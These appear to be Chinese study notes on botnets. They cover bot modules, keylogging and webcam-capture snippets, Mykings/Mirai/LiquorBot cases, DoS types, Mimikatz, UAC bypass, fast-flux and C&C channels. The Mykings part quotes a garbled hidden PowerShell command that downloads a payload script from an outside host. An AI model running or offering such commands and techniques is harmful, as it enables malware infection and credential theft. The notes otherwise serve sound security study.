一、什么是僵尸程序?
- Bot,能够自动执行预定义的功能、可以被预定义的命令控制。植入了恶意Bot或者其他可以恶意远程控制程序的计算机称为僵尸计算机。大量主机感染僵尸程序后,在控制者和众多被感染主机之间形成一对多的被控制网络,称为僵尸网络(Botnet)。肉鸡电脑可能成为攻击其他系统的跳板。拥有统一的高度可控的系统。
- 僵尸网络的构成是模块化的,大致可分为三个模块:扫描模块、驻留模块、功能模块,其中扫描模块用来扫描和传播僵尸网络病毒,驻留模块的目的在于能够隐匿驻留在目标系统中,功能模块则在驻留模块驻留之后执行僵尸牧人所设定的指令。从模块构成看即是病毒、木马的模块构成结合。离网状态下的僵尸客户端是不具有任何威胁的
二、僵尸程序常见行为
键盘记录
//windows
while (1){
if (_kbhit()){//如果有按键按下,则_kbhit()函数返回真
ch = _getch();//使用_getch()函数获取按下的键值
cout << ch;
}
}
屏幕截图
- DC:设备上下文,就是当前的这个窗体的一些属性。屏幕上的每一个窗口都对应一个DC,可以把DC想象成一个视频缓冲区,对这这个缓冲区的操作,会表现在这个缓冲区对应的屏幕窗口上。包含GDI需要的所有关于显示界面情况的描述字段,包括相连的物理设备和各种各样的状态信息。
- 复制屏幕图像到内存DC,保存memDC中的位图到文件
- 摄像头 ```cpp
include
include
using namespace std; using namespace cv;
int main() { VideoCapture cam(0); UMat frame; cam >> frame; for (; waitKey(1) != 27; cam >> frame) { imshow(“摄像头图像”, frame); } return 0; } ```
- Mykings僵尸网络
- 大量加密混淆,利用脚本注入目标进程,无落地攻击,利用漏洞(永恒之蓝)
- Mirai(有源码)
- Momentum僵尸网络
- IRC通道
- C&C服务器 + 恶意软件分发服务器
- 36种不同的dos方法
- 补充:拒绝服务攻击(DOS)
- UDP反射
- 攻击者不直接攻击目标,而是利用互联网中某些开放的服务器,伪造被攻击者的地址并向该服务器发送基于UDP服务的特殊请求报文,使得数倍于请求报文的数据被发送到被攻击IP,从而对后者间接形成DDoS攻击。
- TCP Flood
- TCP Flood是一种利用TCP协议缺陷的攻击,这种方式通过伪造IP向被攻击服务器发送大量伪造的TCP SYN请求,被攻击服务器回应握手包后(SYN+ACK),因为伪造的IP不会回应之后的握手包,服务器会保持在SYN_RECV状态,并尝试重试。这会使得TCP等待连接队列资源耗尽,正常业务无法进行。
- Shrew DDoS
- 利用了TCP的重传机制,调整攻击周期来反复触发TCP协议的RTO,达到攻击的效果。其数据包以固定的、恶意选择的慢速时间发送,这种模式能够将TCP流量限制为其理想速率的一小部分,同时以足够低的平均速率进行传输以避免检测。
- Ping of Death
- 在正常情况下不会存在大于65536个字节的ICMP包,但是报文支持分片重组机制。通过这种方式可以发送大于65536字节的ICMP包并在目标主机上重组,最终会导致被攻击目标缓冲区溢出,引起拒绝服务攻击。
- Challenge Collapsar(CC)
- CC攻击是一种针对资源的DoS攻击,攻击者通常会常用请求较为消耗服务器资源的方式来达到目的。CC攻击的方式有很多种,常见的攻击可以通过大量访问搜索页、物品展示页等消耗大的功能来实现。部分HTTP服务器也可通过上传超大文件、发送大量且复杂的参数的请求来实现攻击。
- 慢速攻击
- 慢速攻击分为 Slow headers / Slow body / Slow read 三种攻击方式。Slow headers 一直不停的慢速发送HTTP头部,消耗服务器的连接和内存资源。Slow body 发送一个 Content-Length 很大的 HTTP POST请求,每次只发送很少量的数据,使该连接一直保持存活。Slow read以很低的速度读取Response。
- 基于服务特性
- 压缩包解压、读文件、反序列化巨大数组、正则解析(回溯表达式)
- UDP反射
- 补充:拒绝服务攻击(DOS)
LiquorBot僵尸网络(物联网僵尸网络)
加密免杀
- 扫描主机端口渗透
- 僵尸服务器通常是IRC服务器
- 利用Nsis脚本进行SMB爆破传播其他恶意代码
- Nsis脚本:NSIS(Nullsoft Scriptable Install System)是一个开源的 Windows 系统下安装程序制作程序。它提供了安装、卸载、系统设置、文件解压缩等功能。
- SMB爆破:全称是Server Message Block,是一种协议。SMB 是一种客户机/服务器、请求/响应协议。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过 SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机等资源。Windows的远程登录就是用的SMB协议。SMB暴力破解攻击即windows server服务器的远程登录密码遭遇了暴力破解。
利用powershell下载恶意ps1脚本
powershell.exe -E -ExecutionPolicy Bypass -windowstyle hidden -command #3down = New-Object ct System.Net.WebClient;#3u;#3url = “= “http://js.f4321y.com/king.dat”;#3”;#3file = “C:/Users/ADMINI~1/AppData/Local/Temp/19>king.ps1</c1”;#”;#3down.DownloadFile(ile(#3url,#3file);exit;
- -E:
- -ExecutionPolicy :<执行策略>
- Bypass:通过脚本文件执行命令的时候这是一个很好的绕过execution policy的方法。当你使用这个标记的时候”没有任何东西被阻止,没有任何警告或提示”。这种技术不会导致配置更改或要求写入磁盘。
- -windowstyle hidden
- -command
利用永恒之蓝漏洞和Mimikatz攻击神器
- 永恒之蓝:445端口
- Mimikatz攻击神器:lsass.exe进程中获取windows的账号明文密码或者密码的NTLM hash,通过Hashcat能够破解出明文密码。
- 绕过Windows UAC
- Windows UAC:UAC 是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。(权限管理的方式)
- 使用无文件落地攻击,利用MSF公开BypassUAC注入dll,并将DLL硬编码加密写入脚本中。
- Fast-flux技术
- 目的:提高C&C服务器的健壮性,延长僵尸网络生命周期的必备技术
- Fast-flux技术是指不断改变域名和IP地址映射关系的一种技术,也就是说在短时间内查询使用Fast-flux技术部署的域名,会得到不同的IP结果。
- 僵尸网络中的Fast-flux技术
- Single-Flux模式:一个域名拥有一个不断变化的IP地址列表,这个列表可能会有几百到上千条。为了实现频繁的变化IP地址,控制者提供最底层域名服务器,这个服务器会返回频繁变化的C&C服务器IP地址。
- Double-Flux模式:控制者会部署多个解析C&C服务器域名的底层域名服务器,并不断修改顶级域名服务器中,对应的底层域名服务器的IP地址,这样每次解析C&C服务器域名的底层域名服务器也会变化。
- 在真正的Fast-flux僵尸网络中,真正保存有控制命令的C&C主机很少(通常称为Mothership),其他的C&C主机都是假的C&C主机,只提供命令转发和跳板的功能。
其他C&C选择
- IRC服务器
- 利用域名解析方式将域名作为C&C地址;
- 利用基于Web系统的服务器作为C&C地址并作为指令交互的方式;(反向)
- 由于HTTP是无状态协议,所以僵尸牧人无法通过HTTP向僵尸客户端发送指令,但僵尸客户端可以定期访问HTTP地址以检查是否有新的指令,这种方式的优势在于其通信连接不会被防火墙所阻断,且嗅探器也无法在流量监测中发现任何有关于僵尸网络价值的信息。
- GET\POST\XML
- 使用P2P网络分散管理僵尸客户端及C&C;
- 基于即时消息工具的僵尸网络;
- 基于FTP的僵尸网络C&C。
僵尸网络通信分析
- 基于 TCP/UDP 自定义协议网络通信分析(使用socket套接字实现)
- socket() —> connect() —> recv()\send() —> closesocket()
- 需要确定是否导入了 Crypt*系列的函数。如果有,查看 CryptGenKey、 CryptImportKey 函数来截获加密类型及加密密钥信息,查看 CryptEncrypt 函数来截获要加密的内容。如果没有导入这类函数,很有可能是采用了自定义的加密算法,最快的跟踪方法是定位到发送部 分的函数,向前追溯,找到加密函数。
- P2P网络:集中目录式 P2P 网络,全分布无结构 P2P 网络,全分布结构化 P2P 网络
- 基于 TCP/UDP 自定义协议网络通信分析(使用socket套接字实现)
基于 IRC 协议的通信方式
- IRC(Internet Replay Chat:互联网中继聊天)协议是基于客户服 务器(Client-Server)模型的,可以以分布式方式运行在接入网络的机 器上。由于其要求每个服务器都拥有整个网络的全局状态信息,限制 了一个网络能够达到的最大规模,故基于此协议的 botnet 的规模一 般是可控制的。
- 一个 IRC 网络的典型设置为:一个单一的处理器(服务器)扮演了 整个网络的中心点以供客户端(包含其他服务器)进行连接,并且实现 指定消息的传送/复用以及其他的功能。
- 一个 IRC 网络的组件包括:服务器,客户机(包含用户客户机,一 般指用于交流的界面程序;服务客户机,一般指可以随意使用来自与 服务器的加密数据,用于提供数据统计等服务)。
利用隐藏隧道传输数据
- 将数据隐藏在已知协议的保留字段或者可以更 改的信息字段中
- DNS:恶意软件在利用此技术的时候会将相应的 TTL 值设置的非常 小,或者设置多个不同的域名用于控制主机与僵尸主机的通信,迫使 发送的 DNS 请求数据能够始终传递到攻击者控制的 DNS 服务器上。
- gethostbyname()
- HTTP:中间人攻击技术,在恶意软件与真正的控制服务器通信的时候截获通信内容,从而免去分析恶意 软件的麻烦
利用 Twitter 或其他开放平台进行通信